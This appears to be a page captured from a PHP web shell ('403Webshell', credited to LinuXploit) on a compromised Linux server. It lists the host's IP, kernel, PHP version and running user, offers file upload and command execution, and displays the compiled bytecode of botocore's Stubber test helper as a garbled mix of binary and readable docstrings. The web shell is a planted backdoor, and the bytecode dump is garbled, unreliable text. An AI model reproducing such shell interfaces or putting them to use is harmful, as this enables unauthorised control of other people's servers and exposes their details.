403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/botocore/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/botocore/__pycache__/stub.cpython-314.pyc
+
��iA?���^RIt^RIHt^RIHt^RIHt^RIHtH	t	H
t
Ht^RIH
t
!RR4t]!4t!R	R
4tR#)�N)�deque)�pformat)�AWSResponse)�ParamValidationError�StubAssertionError�StubResponseError�UnStubbedResponseError)�validate_parametersc�6a�]tRt^toRtRtRtRtRtVt	R#)�_ANYzN
A helper object that compares equal to everything. Copied from
unittest.mock
c��R#)T���self�others&&�//usr/lib/python3/dist-packages/botocore/stub.py�__eq__�_ANY.__eq__!s���c��R#)Frrs&&r�__ne__�_ANY.__ne__$s��rc��R#)z<ANY>r�rs&r�__repr__�
_ANY.__repr__'s��rrN)
�__name__�
__module__�__qualname__�__firstlineno__�__doc__rrr�__static_attributes__�__classdictcell__��
__classdict__s@rrrs�����
���rrc�a�]tRt^.toRtRtRtRtRtRt	RRlt
R	tRR
ltRt
RtR
tRtRtRtRtRtRtVtR#)�Stubbera�
This class will allow you to stub out requests so you don't have to hit
an endpoint to write tests. Responses are returned first in, first out.
If operations are called out of order, or are called with no remaining
queued responses, an error will be raised.

**Example:**
::
    import datetime
    import botocore.session
    from botocore.stub import Stubber


    s3 = botocore.session.get_session().create_client('s3')
    stubber = Stubber(s3)

    response = {
        'IsTruncated': False,
        'Name': 'test-bucket',
        'MaxKeys': 1000, 'Prefix': '',
        'Contents': [{
            'Key': 'test.txt',
            'ETag': '"abc123"',
            'StorageClass': 'STANDARD',
            'LastModified': datetime.datetime(2016, 1, 20, 22, 9),
            'Owner': {'ID': 'abc123', 'DisplayName': 'myname'},
            'Size': 14814
        }],
        'EncodingType': 'url',
        'ResponseMetadata': {
            'RequestId': 'abc123',
            'HTTPStatusCode': 200,
            'HostId': 'abc123'
        },
        'Marker': ''
    }

    expected_params = {'Bucket': 'test-bucket'}

    stubber.add_response('list_objects', response, expected_params)
    stubber.activate()

    service_response = s3.list_objects(Bucket='test-bucket')
    assert service_response == response


This class can also be called as a context manager, which will handle
activation / deactivation for you.

**Example:**
::
    import datetime
    import botocore.session
    from botocore.stub import Stubber


    s3 = botocore.session.get_session().create_client('s3')

    response = {
        "Owner": {
            "ID": "foo",
            "DisplayName": "bar"
        },
        "Buckets": [{
            "CreationDate": datetime.datetime(2016, 1, 20, 22, 9),
            "Name": "baz"
        }]
    }


    with Stubber(s3) as stubber:
        stubber.add_response('list_buckets', response, {})
        service_response = s3.list_buckets()

    assert service_response == response


If you have an input parameter that is a randomly generated value, or you
otherwise don't care about its value, you can use ``stub.ANY`` to ignore
it in validation.

**Example:**
::
    import datetime
    import botocore.session
    from botocore.stub import Stubber, ANY


    s3 = botocore.session.get_session().create_client('s3')
    stubber = Stubber(s3)

    response = {
        'IsTruncated': False,
        'Name': 'test-bucket',
        'MaxKeys': 1000, 'Prefix': '',
        'Contents': [{
            'Key': 'test.txt',
            'ETag': '"abc123"',
            'StorageClass': 'STANDARD',
            'LastModified': datetime.datetime(2016, 1, 20, 22, 9),
            'Owner': {'ID': 'abc123', 'DisplayName': 'myname'},
            'Size': 14814
        }],
        'EncodingType': 'url',
        'ResponseMetadata': {
            'RequestId': 'abc123',
            'HTTPStatusCode': 200,
            'HostId': 'abc123'
        },
        'Marker': ''
    }

    expected_params = {'Bucket': ANY}
    stubber.add_response('list_objects', response, expected_params)

    with stubber:
        service_response = s3.list_objects(Bucket='test-bucket')

    assert service_response == response
c�Z�WnRVnRVnRVn\	4VnR#)z1
:param client: The client to add your stubs to.
�boto_stubber�boto_stubber_expected_params�boto_stubber_stub_account_idN)�client�	_event_id�_expected_params_event_id�_stub_account_id_event_idr�_queue)rr,s&&r�__init__�Stubber.__init__�s)����'���)G��&�)G��&��g��rc�&�VP4V#�N)�activaters&r�	__enter__�Stubber.__enter__�s���
�
���rc�&�VP4R#r4)�
deactivate)r�exception_type�exception_value�	tracebacks&&&&r�__exit__�Stubber.__exit__�s�����rc��VPPPPRVPVP
R7VPPPP
RVPVPR7VPPPP
RVPVPR7R#)z%
Activates the stubber on the client
�before-parameter-build.*.*��	unique_id�before-call.*.*�before-endpoint-resolution.*N)r,�meta�events�register_first�_assert_expected_paramsr.�register�_get_response_handlerr-�'_set_account_id_for_endpoint_resolutionr/rs&rr5�Stubber.activate�s���	
�������.�.�(��(�(��4�4�	/�	
�
	
�������(�(���&�&��n�n�	)�	
�
	
�������(�(�*��8�8��4�4�	)�	
rc��VPPPPRVPVP
R7VPPPPRVPVPR7VPPPPRVPVPR7R#)z'
Deactivates the stubber on the client
r@rArCrDN)	r,rErF�
unregisterrHr.rJr-r/rs&rr9�Stubber.deactivate�s���	
�������*�*�(��(�(��4�4�	+�	
�
	
�������*�*���&�&��n�n�	+�	
�
	
�������*�*�*��*�*��4�4�	+�	
rNc�*�VPWV4R#)a�
Adds a service response to the response queue. This will be validated
against the service model to ensure correctness. It should be noted,
however, that while missing attributes are often considered correct,
your code may not function properly if you leave them out. Therefore
you should always fill in every value you see in a typical response for
your particular request.

:param method: The name of the client method to stub.
:type method: str

:param service_response: A dict response stub. Provided parameters will
    be validated against the service model.
:type service_response: dict

:param expected_params: A dictionary of the expected parameters to
    be called for the provided service response. The parameters match
    the names of keyword arguments passed to that client call. If
    any of the parameters differ a ``StubResponseError`` is thrown.
    You can use stub.ANY to indicate a particular parameter to ignore
    in validation. stub.ANY is only valid for top level params.
N)�
_add_response)r�method�service_response�expected_paramss&&&&r�add_response�Stubber.add_response�s��.	
���6�_�Erc��\VPV4'g:\RVPPPP
RV24h\
R^�/R4pVPPPPV4pVPWR4RVRWB3RV/pVPPV4R#)zClient z does not have method: N�operation_name�responserT)�hasattrr,�
ValueErrorrE�
service_model�service_namer�method_to_api_mapping�get�_validate_operation_responser0�append)rrRrSrT�
http_responserXrYs&&&&   rrQ�Stubber._add_response�s����t�{�{�F�+�+���$�+�+�*�*�8�8�E�E�F�G)�)/��2��
�$�D�#�r�4�8�
����)�)�?�?�C�C�F�K���)�)�.�K�
�n���9���
��
	
�����8�$rc	��\RV/R4p	RRV/RRVRV//p
VeV
R,PV4VeV
R,PV4VeTVPPPpVPV4pVP
W�4V
PV4VPPPPV4p
RV
RW�3R	V/pVPPV4R#)
a_
Adds a ``ClientError`` to the response queue.

:param method: The name of the service method to return the error on.
:type method: str

:param service_error_code: The service error code to return,
                           e.g. ``NoSuchBucket``
:type service_error_code: str

:param service_message: The service message to return, e.g.
                'The specified bucket does not exist.'
:type service_message: str

:param http_status_code: The HTTP status code to return, e.g. 404, etc
:type http_status_code: int

:param service_error_meta: Additional keys to be added to the
    service Error
:type service_error_meta: dict

:param expected_params: A dictionary of the expected parameters to
    be called for the provided service response. The parameters match
    the names of keyword arguments passed to that client call. If
    any of the parameters differ a ``StubResponseError`` is thrown.
    You can use stub.ANY to indicate a particular parameter to ignore
    in validation.

:param response_meta: Additional keys to be added to the
    response's ResponseMetadata
:type response_meta: dict

:param modeled_fields: Additional keys to be added to the response
    based on fields that are modeled for the particular error code.
    These keys will be validated against the particular error shape
    designated by the error code.
:type modeled_fields: dict

N�ResponseMetadata�HTTPStatusCode�Error�Message�CoderXrYrT)r�updater,rEr\�shape_for_error_code�_validate_responser^r_r0ra)rrR�service_error_code�service_message�http_status_code�service_error_metarT�
response_meta�modeled_fieldsrb�parsed_responser\�shaperXrYs&&&&&&&&&      r�add_client_error�Stubber.add_client_errors��d$�D�*:�B��E�
�
�!1�3C� D��i��&�:L�M�
��
�)��G�$�+�+�,>�?��$��.�/�6�6�}�E��%� �K�K�,�,�:�:�M�!�6�6�7I�J�E��#�#�E�:��"�"�>�2����)�)�?�?�C�C�F�K��
�n���8���
��
	
�����8�$rc�Z�\VP4pV^8wd\VR24hR#)z,
Asserts that all expected calls were made.
z responses remaining in queue.N)�lenr0�AssertionError)r�	remainings& r�assert_no_pending_responses�#Stubber.assert_no_pending_responsesas1������$�	���>� �I�;�.L�!M�N�N�rc���VP'g\VPRR7hVP^,R,pW1P8wd\VPRVR2R7hR#)z�Unexpected API Call: A call was made but no additional calls expected. Either the API Call was not stubbed or it was called multiple times.�rX�reasonrXz'Operation mismatch: found response for �.N)r0r	�namer)r�model�paramsr�s&&& r�_assert_expected_call_order�#Stubber._assert_expected_call_orderish���{�{�{�(�$�z�z�4��
��{�{�1�~�.�/���:�:��#�$�z�z�@���a�H��
�rc�"�RV9dRVR&R#R#)zAWS::Auth::AccountIdNr)r�builtins�kwargss&&,rrK�/Stubber._set_account_id_for_endpoint_resolution{s��
"�X�-�/3�H�+�,�.rc�f�VPW4VPP4R,#)rY)r�r0�popleft)rr�r��contextr�s&&&&,rrJ�Stubber._get_response_handler�s(���(�(��7��{�{�"�"�$�Z�0�0rc
�$�VPV4'dR#VPW4VP^,R,pVfR#VP4FMwrgWb9gWV,W&,8wgK \	VP
R\
V4R\
V42R7h	\VP44\VP448wd0\	VP
R\
V4R\
V42R7hR#)NrTzExpected parameters:
z,
but received:
r~)	�_should_not_stubr�r0�itemsrr�r�sorted�keys)rr�r�r�r�rT�param�values&&&&,   rrH�Stubber._assert_expected_params�s���� � ��)�)���(�(��7��+�+�a�.�):�;���"��,�1�1�3�L�E��"�o�&<��
�&M�(�#(�:�:�0���1I�0J�K*�*1�&�/�):�<���4��/�&�&�(�)�V�F�K�K�M�-B�B�$�$�z�z�,�W�_�-E�,F�G&�&-�f�o�%6�8��
�Crc�L�V'dVPR4'dR#R#R#)�is_presign_requestTN)r_)rr�s&&rr��Stubber._should_not_stub�s ���w�{�{�#7�8�8��9�7rc���VPPPpVPV4pVPpTpRV9d\
P
!V4pVRVP
WV4R#)reN)r,rEr\�operation_model�output_shape�copyrl)rrXrSr\r�r�rYs&&&    rr`�$Stubber._validate_operation_response�sg�����(�(�6�6�
�'�7�7��G��&�3�3��$����)��y�y�!1�2�H��+�,�����7rc�P�Ve\W!4R#V'd
\RR7hR#)Nz6Service response should only contain ResponseMetadata.)�report)r
r)rrtrYs&&&rrl�Stubber._validate_response�s*������0�
�'�L��
�r)r-r.r0r/r,r4)�r�i�NNNN)rrrr r!r1r6r=r5r9rUrQrur{r�rKrJrHr�r`rlr"r#r$s@rr'r'.se����w�r���
�(
�(F�2%�*P%�dO��$4�1�
�:�8�
�
rr')r��collectionsr�pprintr�botocore.awsrequestr�botocore.exceptionsrrrr	�botocore.validater
r�ANYr'rrr�<module>r�sA�����+���2�
�
� �f��V�Vr

Youez - 2016 - github.com/yon3zu
LinuXploit